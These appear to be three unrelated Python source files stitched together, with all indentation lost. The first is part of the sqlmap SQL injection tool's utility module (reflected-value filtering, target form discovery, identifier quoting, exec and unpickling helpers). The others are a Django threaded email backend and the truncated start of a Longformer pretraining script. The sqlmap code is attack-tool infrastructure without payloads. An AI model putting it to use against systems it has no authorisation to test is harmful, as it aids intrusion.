regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
if regex != payload:
if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])))
parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))
if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
else:
regex = r"\b%s" % regex
if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
else:
regex = r"%s\b" % regex
_retVal = [retVal]
def _thread(regex):
try:
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
if len(parts) > 2:
regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
_retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
except KeyboardInterrupt:
raise
except:
pass
thread = threading.Thread(target=_thread, args=(regex,))
thread.daemon = True
thread.start()
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
if thread.isAlive():
kb.reflectiveMechanism = False
retVal = content
if not suppressWarning:
debugMsg = "turning off reflection removal mechanism (because of timeouts)"
logger.debug(debugMsg)
else:
retVal = _retVal[0]
if retVal != content:
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
if not suppressWarning:
warnMsg = "reflective value(s) found and filtering out"
singleTimeWarnMessage(warnMsg)
if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I):
warnMsg = "frames detected containing attacked parameter values. Please be sure to "
warnMsg += "test those separately in case that attack on this page fails"
singleTimeWarnMessage(warnMsg)
elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]:
kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1
if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD:
kb.reflectiveMechanism = False
if not suppressWarning:
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
logger.debug(debugMsg)
except MemoryError:
kb.reflectiveMechanism = False
if not suppressWarning:
debugMsg = "turning off reflection removal mechanism (because of low memory issues)"
logger.debug(debugMsg)
return retVal
def normalizeUnicode(value):
"""
Does an ASCII normalization of unicode strings
Reference: http://www.peterbe.com/plog/unicode-to-ascii
>>> normalizeUnicode(u'\u0161u\u0107uraj')
'sucuraj'
"""
return unicodedata.normalize('NFKD', value).encode('ascii', 'ignore') if isinstance(value, unicode) else value
def safeSQLIdentificatorNaming(name, isTable=False):
"""
Returns a safe representation of SQL identificator name (internal data format)
Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
"""
retVal = name
if isinstance(name, basestring):
retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = "`%s`" % retVal.strip("`")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2):
retVal = "\"%s\"" % retVal.strip("\"")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.strip("\"").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
retVal = "[%s]" % retVal.strip("[]")
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
return retVal
def unsafeSQLIdentificatorNaming(name):
"""
Extracts identificator's name from its safe SQL representation
"""
retVal = name
if isinstance(name, basestring):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = name.replace("\"", "").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,):
retVal = name.replace("[", "").replace("]", "")
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
prefix = "%s." % DEFAULT_MSSQL_SCHEMA
if retVal.startswith(prefix):
retVal = retVal[len(prefix):]
return retVal
def isNoneValue(value):
"""
Returns whether the value is unusable (None or '')
>>> isNoneValue(None)
True
>>> isNoneValue('None')
True
>>> isNoneValue('')
True
>>> isNoneValue([])
True
>>> isNoneValue([2])
False
"""
if isinstance(value, basestring):
return value in ("None", "")
elif isListLike(value):
return all(isNoneValue(_) for _ in value)
elif isinstance(value, dict):
return not any(value)
else:
return value is None
def isNullValue(value):
"""
Returns whether the value contains explicit 'NULL' value
>>> isNullValue(u'NULL')
True
>>> isNullValue(u'foobar')
False
"""
return isinstance(value, basestring) and value.upper() == NULL
def expandMnemonics(mnemonics, parser, args):
"""
Expands mnemonic options
"""
class MnemonicNode(object):
def __init__(self):
self.next = {}
self.current = []
head = MnemonicNode()
pointer = None
for group in parser.option_groups:
for option in group.option_list:
for opt in option._long_opts + option._short_opts:
pointer = head
for char in opt:
if char == "-":
continue
elif char not in pointer.next:
pointer.next[char] = MnemonicNode()
pointer = pointer.next[char]
pointer.current.append(option)
for mnemonic in (mnemonics or "").split(','):
found = None
name = mnemonic.split('=')[0].replace("-", "").strip()
value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None
pointer = head
for char in name:
if char in pointer.next:
pointer = pointer.next[char]
else:
pointer = None
break
if pointer in (None, head):
errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name
raise SqlmapSyntaxException(errMsg)
elif len(pointer.current) > 1:
options = {}
for option in pointer.current:
for opt in option._long_opts + option._short_opts:
opt = opt.strip('-')
if opt.startswith(name):
options[opt] = option
if not options:
warnMsg = "mnemonic '%s' can't be resolved" % name
logger.warn(warnMsg)
elif name in options:
found = name
debugMsg = "mnemonic '%s' resolved to %s). " % (name, found)
logger.debug(debugMsg)
else:
found = sorted(options.keys(), key=lambda x: len(x))[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
warnMsg += "Resolved to shortest of those ('%s')" % found
logger.warn(warnMsg)
if found:
found = options[found]
else:
found = pointer.current[0]
debugMsg = "mnemonic '%s' resolved to %s). " % (name, found)
logger.debug(debugMsg)
if found:
try:
value = found.convert_value(found, value)
except OptionValueError:
value = None
if value is not None:
setattr(args, found.dest, value)
elif not found.type: # boolean
setattr(args, found.dest, True)
else:
errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type)
raise SqlmapSyntaxException(errMsg)
def safeCSValue(value):
"""
Returns value safe for CSV dumping
Reference: http://tools.ietf.org/html/rfc4180
>>> safeCSValue(u'foo, bar')
u'"foo, bar"'
>>> safeCSValue(u'foobar')
u'foobar'
"""
retVal = value
if retVal and isinstance(retVal, basestring):
if not (retVal[0] == retVal[-1] == '"'):
if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
retVal = '"%s"' % retVal.replace('"', '""')
return retVal
def filterPairValues(values):
"""
Returns only list-like values with length 2
>>> filterPairValues([[1, 2], [3], 1, [4, 5]])
[[1, 2], [4, 5]]
"""
retVal = []
if not isNoneValue(values) and hasattr(values, '__iter__'):
retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values)
return retVal
def randomizeParameterValue(value):
"""
Randomize a parameter value based on occurances of alphanumeric characters
>>> random.seed(0)
>>> randomizeParameterValue('foobar')
'rnvnav'
>>> randomizeParameterValue('17')
'83'
"""
retVal = value
value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
for match in re.finditer('[A-Z]+', value):
while True:
original = match.group()
candidate = randomStr(len(match.group())).upper()
if original != candidate:
break
retVal = retVal.replace(original, candidate)
for match in re.finditer('[a-z]+', value):
while True:
original = match.group()
candidate = randomStr(len(match.group())).lower()
if original != candidate:
break
retVal = retVal.replace(original, candidate)
for match in re.finditer('[0-9]+', value):
while True:
original = match.group()
candidate = str(randomInt(len(match.group())))
if original != candidate:
break
retVal = retVal.replace(original, candidate)
return retVal
@cachedmethod
def asciifyUrl(url, forceQuote=False):
"""
Attempts to make a unicode URL usuable with ``urllib/urllib2``.
More specifically, it attempts to convert the unicode object ``url``,
which is meant to represent a IRI, to an unicode object that,
containing only ASCII characters, is a valid URI. This involves:
* IDNA/Puny-encoding the domain name.
* UTF8-quoting the path and querystring parts.
See also RFC 3987.
Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/
>>> asciifyUrl(u'http://www.\u0161u\u0107uraj.com')
u'http://www.xn--uuraj-gxa24d.com'
"""
parts = urlparse.urlsplit(url)
if not parts.scheme or not parts.netloc:
# apparently not an url
return url
if all(char in string.printable for char in url):
return url
# idna-encode domain
try:
hostname = parts.hostname.encode("idna")
except LookupError:
hostname = parts.hostname.encode(UNICODE_ENCODING)
# UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user
# errors, say for example an umlaut in the username even though
# the path *is* already quoted.
def quote(s, safe):
s = s or ''
# Triggers on non-ascii characters - another option would be:
# urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&".
if s.encode("ascii", "replace") != s or forceQuote:
return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
return s
username = quote(parts.username, '')
password = quote(parts.password, safe='')
path = quote(parts.path, safe='/')
query = quote(parts.query, safe="&=")
# put everything back together
netloc = hostname
if username or password:
netloc = '@' + netloc
if password:
netloc = ':' + password + netloc
netloc = username + netloc
try:
port = parts.port
except:
port = None
if port:
netloc += ':' + str(port)
return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment])
def isAdminFromPrivileges(privileges):
"""
Inspects privileges to see if those are coming from an admin user
"""
# In PostgreSQL the usesuper privilege means that the
# user is DBA
retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
# In Oracle the DBA privilege means that the
# user is DBA
retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges)
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges)
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
retVal |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges)
# In Firebird there is no specific privilege that means
# that the user is DBA
retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE")))
return retVal
def findPageForms(content, url, raise_=False, addToTargets=False):
"""
Parses given page content for possible forms
"""
class _(StringIO):
def __init__(self, content, url):
StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content)
self._url = url
def geturl(self):
return self._url
if not content:
errMsg = "can't parse forms as the page content appears to be blank"
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
forms = None
retVal = set()
response = _(content, url)
try:
forms = ParseResponse(response, backwards_compat=False)
except (UnicodeError, ValueError):
pass
except ParseError:
if "<html" in (content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
try:
forms = ParseResponse(filtered, backwards_compat=False)
except ParseError:
errMsg = "no success"
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
if forms:
for form in forms:
try:
for control in form.controls:
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
if not item.selected:
item.selected = True
break
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg)
continue
request = form.click()
except (ValueError, TypeError), ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.get_data() if request.has_data() else None
data = urldecode(data, kb.pageEncoding, plusspace=False)
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg)
continue
# flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url)
if conf.scope:
if not re.search(conf.scope, url, re.I):
continue
elif not _:
continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
else:
errMsg = "there were no forms found at the given target URL"
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
if addToTargets and retVal:
for target in retVal:
kb.targets.add(target)
return retVal
def checkSameHost(*urls):
"""
Returns True if all provided urls share that same host
>>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php')
True
>>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php')
False
"""
if not urls:
return None
elif len(urls) == 1:
return True
else:
return all(urlparse.urlparse(url or "").netloc.split(':')[0] == urlparse.urlparse(urls[0] or "").netloc.split(':')[0] for url in urls[1:])
def getHostHeader(url):
"""
Returns proper Host header value for a given target URL
>>> getHostHeader('http://www.target.com/vuln.php?id=1')
'www.target.com'
"""
retVal = url
if url:
retVal = urlparse.urlparse(url).netloc
if re.search("http(s)?://\[.+\]", url, re.I):
retVal = extractRegexResult("http(s)?://\[(?P<result>.+)\]", url)
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
retVal = retVal.split(':')[0]
return retVal
def checkDeprecatedOptions(args):
"""
Checks for deprecated options
"""
for _ in args:
if _ in DEPRECATED_OPTIONS:
errMsg = "switch/option '%s' is deprecated" % _
if DEPRECATED_OPTIONS[_]:
errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_]
raise SqlmapSyntaxException(errMsg)
def checkSystemEncoding():
"""
Checks for problematic encodings
"""
if sys.getdefaultencoding() == "cp720":
try:
codecs.lookup("cp720")
except LookupError:
errMsg = "there is a known Python issue (#1616979) related "
errMsg += "to support for charset 'cp720'. Please visit "
errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' "
errMsg += "and follow the instructions to be able to fix it"
logger.critical(errMsg)
warnMsg = "temporary switching to charset 'cp1256'"
logger.warn(warnMsg)
reload(sys)
sys.setdefaultencoding("cp1256")
def evaluateCode(code, variables=None):
"""
Executes given python code given in a string form
"""
try:
exec(code, variables)
except KeyboardInterrupt:
raise
except Exception, ex:
errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
def serializeObject(object_):
"""
Serializes given object
>>> serializeObject([1, 2, 3, ('a', 'b')])
'gAJdcQEoSwFLAksDVQFhVQFihnECZS4='
>>> serializeObject(None)
'gAJOLg=='
>>> serializeObject('foobar')
'gAJVBmZvb2JhcnEBLg=='
"""
return base64pickle(object_)
def unserializeObject(value):
"""
Unserializes object from given serialized form
>>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3]
True
>>> unserializeObject('gAJVBmZvb2JhcnEBLg==')
'foobar'
"""
return base64unpickle(value) if value else None
def resetCounter(technique):
"""
Resets query counter for a given technique
"""
kb.counters[technique] = 0
def incrementCounter(technique):
"""
Increments query counter for a given technique
"""
kb.counters[technique] = getCounter(technique) + 1
def getCounter(technique):
"""
Returns query counter for a given technique
"""
return kb.counters.get(technique, 0)
def applyFunctionRecursively(value, function):
"""
Applies function recursively through list-like structures
>>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0)
[True, True, [True, True, [True]], False]
"""
if isListLike(value):
retVal = [applyFunctionRecursively(_, function) for _ in value]
else:
retVal = function(value)
return retVal
def decodeHexValue(value, raw=False):
"""
Returns value decoded from DBMS specific hexadecimal representation
>>> decodeHexValue('3132332031')
u'123 1'
>>> decodeHexValue(['0x31', '0x32'])
[u'1', u'2']
"""
retVal = value
def _(value):
retVal = value
if value and isinstance(value, basestring):
if len(value) % 2 != 0:
retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value
singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
else:
retVal = hexdecode(value)
if not kb.binaryField and not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
elif Backend.isDbms(DBMS.HSQLDB):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
pass
if not isinstance(retVal, unicode):
retVal = getUnicode(retVal, "utf8")
return retVal
try:
retVal = applyFunctionRecursively(value, _)
except:
singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
return retVal
def extractExpectedValue(value, expected):
"""
Extracts and returns expected value by a given type
>>> extractExpectedValue(['1'], EXPECTED.BOOL)
True
>>> extractExpectedValue('1', EXPECTED.INT)
1
"""
if expected:
value = unArrayizeValue(value)
if isNoneValue(value):
value = None
elif expected == EXPECTED.BOOL:
if isinstance(value, int):
value = bool(value)
elif isinstance(value, basestring):
value = value.strip().lower()
if value in ("true", "false"):
value = value == "true"
elif value in ("1", "-1"):
value = True
elif value == "0":
value = False
else:
value = None
elif expected == EXPECTED.INT:
if isinstance(value, basestring):
value = int(value) if value.isdigit() else None
return value
def hashDBWrite(key, value, serialize=False):
"""
Helper function for writing session data to HashDB
"""
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
conf.hashDB.write(_, value, serialize)
def hashDBRetrieve(key, unserialize=False, checkConf=False):
"""
Helper function for restoring session data from HashDB
"""
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
retVal = None
return retVal
def resetCookieJar(cookieJar):
"""
Cleans cookies from a given cookie jar
"""
if not conf.loadCookies:
cookieJar.clear()
else:
try:
if not cookieJar.filename:
infoMsg = "loading cookies from '%s'" % conf.loadCookies
logger.info(infoMsg)
content = readCachedFileContent(conf.loadCookies)
lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#')))
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
os.close(handle)
# Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
with openFile(filename, "w+b") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines:
_ = line.split("\t")
if len(_) == 7:
_[4] = FORCE_COOKIE_EXPIRATION_TIME
f.write("\n%s" % "\t".join(_))
cookieJar.filename = filename
cookieJar.load(cookieJar.filename, ignore_expires=True)
for cookie in cookieJar:
if cookie.expires < time.time():
warnMsg = "cookie '%s' has expired" % cookie
singleTimeWarnMessage(warnMsg)
cookieJar.clear_expired_cookies()
if not cookieJar._cookies:
errMsg = "no valid cookies found"
raise SqlmapGenericException(errMsg)
except cookielib.LoadError, msg:
errMsg = "there was a problem loading "
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg))
raise SqlmapGenericException(errMsg)
def decloakToTemp(filename):
"""
Decloaks content of a given file to a temporary file with similar name and extension
"""
content = decloak(filename)
_ = utf8encode(os.path.split(filename[:-1])[-1])
prefix, suffix = os.path.splitext(_)
prefix = prefix.split(os.extsep)[0]
handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix)
os.close(handle)
with open(filename, "w+b") as f:
f.write(content)
return filename
def prioritySortColumns(columns):
"""
Sorts given column names by length in ascending order while those containing
string 'id' go first
>>> prioritySortColumns(['password', 'userid', 'name'])
['userid', 'name', 'password']
"""
_ = lambda x: x and "id" in x.lower()
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
def getRequestHeader(request, name):
"""
Solving an issue with an urllib2 Request header case sensitivity
Reference: http://bugs.python.org/issue2275
"""
retVal = None
if request and name:
_ = name.upper()
retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
return retVal
def isNumber(value):
"""
Returns True if the given value is a number-like object
>>> isNumber(1)
True
>>> isNumber('0')
True
>>> isNumber('foobar')
False
"""
try:
float(value)
except:
return False
else:
return True
def zeroDepthSearch(expression, value):
"""
Searches occurrences of value inside expression at 0-depth level
regarding the parentheses
"""
retVal = []
depth = 0
for index in xrange(len(expression)):
if expression[index] == '(':
depth += 1
elif expression[index] == ')':
depth -= 1
elif depth == 0 and expression[index:index + len(value)] == value:
retVal.append(index)
return retVal
def splitFields(fields, delimiter=','):
"""
Returns list of (0-depth) fields splitted by delimiter
>>> splitFields('foo, bar, max(foo, bar)')
['foo', 'bar', 'max(foo,bar)']
"""
fields = fields.replace("%s " % delimiter, delimiter)
commas = [-1, len(fields)]
commas.extend(zeroDepthSearch(fields, ','))
commas = sorted(commas)
return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])]
def pollProcess(process, suppress_errors=False):
"""
Checks for process status (prints . if still running)
"""
while True:
dataToStdout(".")
time.sleep(1)
returncode = process.poll()
if returncode is not None:
if not suppress_errors:
if returncode == 0:
dataToStdout(" done\n")
elif returncode < 0:
dataToStdout(" process terminated by signal %d\n" % returncode)
elif returncode > 0:
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
break
def getSafeExString(ex, encoding=None):
"""
Safe way how to get the proper exception represtation as a string
(Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
"""
retVal = ex
if getattr(ex, "message", None):
retVal = ex.message
elif getattr(ex, "msg", None):
retVal = ex.msg
return getUnicode(retVal, encoding=encoding)
|
backends.py | from threading import Thread
from django.core.mail import get_connection
from django.core.mail.backends.base import BaseEmailBackend
"""
Sometimes we don't control the code which calls send_email so we have no choice but to subclass the default email backend
and ensure the email is sent via a new thread. This is important so we don't delay the response to the user.
"""
def send_emails(email_messages):
conn = get_connection(backend='anymail.backends.mailgun.EmailBackend')
conn.send_messages(email_messages)
class CustomEmailBackend(BaseEmailBackend):
def send_messages(self, email_messages):
t = Thread(target=send_emails, args=[email_messages])
t.start()
return len(email_messages)
|
run_long_lm.py | #!/usr/bin/env python
import argparse
import copy
import datetime
from dataclasses import dataclass, field
import functools
import logging
import math
import os
import pickle
import re
import sys
import time
import threading
from typing import Optional
import torch
from torch.utils.data.dataset import Dataset
from torch.utils.tensorboard import SummaryWriter
import tqdm
from transformers import logging as hf_logging
from transformers.modeling_longformer import LongformerSelfAttention
from transformers import (
PreTrainedModel,
PreTrainedTokenizer,
AutoModelForMaskedLM,
RobertaForMaskedLM,
XLMRobertaForMaskedLM,
AutoTokenizer,
)
from transformers import (
HfArgumentParser,
DataCollatorForLanguageModeling,
Trainer,
TrainingArguments,
set_seed,
)
class color:
"""Help print colors to terminal."""
PURPLE = "\033[95m"
CYAN = "\033[96m"
DARKCYAN = "\033[36m"
BLUE = "\033[94m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
RED = "\033[91m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
END = "\033[0m"
def is_roberta_based_model(model_name: str) -> str:
"""Validate if the model to pre-train is of roberta architecture."""
r = re.compile('(.*)roberta(.*)')
matches = r.findall(model_name)
base_name = 'none'
if len(matches) > 0:
base_name = '-'.join(model_name.split('-')[:-1])
return base_name
##########################################
#
# Arguments
#
##########################################
"""Helper function: Define argparser and args."""
parser = argparse.ArgumentParser()
parser.add_argument(
"--model_name",
default=None,
type=str,
help="Name to save the model as.",
)
parser.add_argument(
"--output_dir",
default=None,
type=str,
help="The output directory for the trained model.",
)
parser.add_argument(
"--model_type",
default=None,
type=str,
help="Model type selected in the list from Huggingface ex:"
" `bert, roberta, xlm-roberta, ...`",
)
parser.add_argument(
"--model_name_or_path",
default=None,
type=str,
required=True,
help="Path to pretrained model from huggingface.co/models. "
"Only tested on `xlm-roberta-base` and `roberta-base`.",
)
parser.add_argument(
"--logging_dir",
default=None,
type=str,
help="Where logs are stored.",
)
parser.add_argument(
"--model_max_length",
default=4096,
type=int,
choices=[
512,
1024,
2048,
4096,
8192,
16384,
32768,
65536,
131072,
262144,
524288,
1048576,
],
help="The maxiumum position of the model",
)
parser.add_argument(
"--attention_window",
default=512,
type=int,
help="Size of attention window",
)
parser.add_argument(
"--evaluation_strategy",
default="no",
type=str,
help="How evaluation should be logged, 'steps', 'epochs', 'no'.",
)
parser.add_argument(
"--do_train",
action="store_true",
help="Whether to run training."
)
parser.add_argument(
"--do_eval",
action="store_true",
help="Whether to run eval on the dev set."
)
parser.add_argument(
"--per_device_train_batch_size",
default=8,
type=int,
help="Batch size per GPU/CPU for training.",
)
parser.add_argument(
"--per_device_eval_batch_size",
default=8,
type=int,
help="Batch size per GPU/CPU for evaluation.",
)
parser.add_argument(
"--learning_rate",
default=5e-5,
type=float,
help="The initial learning rate for Adam.",
)
parser.add_argument(
"--gradient_accumulation_steps",
type=int,
default=1,
help="Number of gradient updates to perform before updating the weights",
)
parser.add_argument(
"--weight_decay",
default=0.0,
type=float,
help="Weight decay if we apply some."
)
parser.add_argument(
"--adam_epsilon",
default=1e-8,
type=float,
help="Epsilon for Adam optimizer."
)
parser.add_argument(
"--max_grad_norm", default=1.0, type=float, help="Max gradient norm."
)
parser.add_argument(
"--num_train_epochs",
default=3.0,
type=float,
help="Total number of training epochs to perform.",
)
parser.add_argument(
"--max_steps",
default=-1,
type=int,
help="If > 0: set total number of training steps to perform. "
"Override num_train_epochs.",
)
parser.add_argument(
"--warmup_steps",
default=0,
type=int,
help="Linear warmup over warmup_steps."
)
parser.add_argument(
"--verbose_logging",
action="store_true",
help="If true, log all information when loading datasets.",
)
parser.add_argument(
"--cache_dir",
default=None,
help="Where do you want to store the pretrained models.",
)
parser.add_argument(
"--lang_id",
default=0,
type=int,
help="language id of input for language-specific xlm models "
"(see tokenization_xlm.PRETRAINED_INIT_CONFIGURATION)",
)
parser.add_argument(
"--logging_steps",
type=int,
default=500,
help="Log every X updates steps."
)
parser.add_argument(
"--save_steps",
type=int,
default=500,
help="Save checkpoint every X updates steps.",
)
parser.add_argument(
"--eval_all_checkpoints",
action="store_true",
help="Evaluate all checkpoints starting with the same prefix as model_name"
"ending and ending with step number",
)
parser.add_argument(
"--overwrite_output_dir",
action="store_true",
help="Overwrite the content of the output directory",
)
parser.add_argument(
"--seed",
type=int,
default=42,
help="random seed for initialization"
)
parser.add_argument(
"--local_rank",
type=int,
default=-1,
help="local_rank for distributed training on gpus",
)
parser.add_argument(
"--fp16",
action="store_true",
help="Whether to use 16-bit (mixed) precision (through NVIDIA apex)",
)
parser.add_argument(
"--fp16_opt_level",
type=str,
default="O1",
help="For fp16: Apex AMP optimization level selected in"
"['O0', 'O1', 'O2', and 'O3'].",
)
parser.add_argument(
"--train_file_path",
type=str,
default="/workspace/data/wikitext-103/wiki.train.raw",
help="File path to language model training file",
)
parser.add_argument(
"--val_file_path",
type=str,
default="/workspace/data/wikitext-103/wiki.valid.raw",
help="File path to language model validation file",
)
parser.add_argument(
"--eval_steps",
type=int,
default=None,
help="Number of evaluation steps",
)
parser.add_argument(
"--prediction_loss_only",
action="store_true",
help="Prediction loss only",
)
args = parser.parse_args()
hf_logging.enable_default_handler()
hf_logging.set_verbosity_info()
hf_logging.enable_explicit_format()
tb_writer = SummaryWriter(log_dir=args.logging_dir)
logger = logging.getLogger("")
logger.setLevel(logging.INFO)
fh = logging.FileHandler(f"{args.logging_dir}.log")
sh = logging.StreamHandler(sys.stdout)
formatter = logging.Formatter(
"[%(asctime)s], %(levelname)s %(message)s",
datefmt="%a, %d %b %Y %H:%M:%S",
)
fh.setFormatter(formatter)
sh.setFormatter(formatter)
logger.addHandler(fh)
logger.addHandler(sh)
logger.info("\n --> Starting logger:\n" + "=" * 55 + "\n")
logger.warning(
f"Process rank: {args.local_rank}, \
distributed training: {bool(args.local_rank != -1)}, \
16-bits training: {args.fp16}"
)
##########################################
#
# Replace Huggingface - TextDataset
#
##########################################
# https://github.com/tqdm/tqdm/issues/458
def provide_progress_bar(
function, estimated_time, tstep=0.2, tqdm_kwargs={}, args=[], kwargs={}
):
ret = [None] # Mutable var so the function can store its return value
